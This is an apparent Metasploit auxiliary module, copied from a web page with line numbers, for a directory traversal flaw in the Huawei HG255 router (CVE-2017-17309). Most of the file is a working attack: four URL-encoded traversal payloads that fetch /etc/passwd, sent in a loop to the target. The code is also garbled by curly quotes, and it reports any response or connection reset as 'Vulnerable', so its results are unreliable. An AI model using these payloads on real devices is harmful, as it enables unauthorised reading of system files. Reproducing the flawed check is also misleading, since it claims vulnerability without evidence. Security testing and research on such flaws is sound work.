1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize super( 'Name'=> 'Huawei HG255 Directory Traversal', ‘Description’ => ‘Server Directory Traversal at Huawei HG255 by malicious GET requests’, ‘Author’=> ‘Ismail Tasdelen’, ‘License’ => MSF_LICENSE, ‘References’ => [ ['CVE', '2017-17309' ], ['URL', 'https://www.huawei.com/en/psirt/security-notices/huawei-sn-20170911-01-hg255s-en'] ] ) register_options( [ Opt::RPORT(80) ], self.class ) end def run urllist=[ ‘/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’, ‘/lib/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’, ‘/res/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’, ‘/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’] urllist.each do |url| begin res = send_request_raw( { ‘method’=> ‘GET’, ‘uri’=> url }) if res print_good(“Vulnerable! for #{url}”) else print_status(“Vulnerable(no response) detected for #{url}”) end rescue Errno::ECONNRESET print_status(“Vulnerable(rst) detected for #{url}”) rescue Exception print_error(“Connection failed.”) end end end |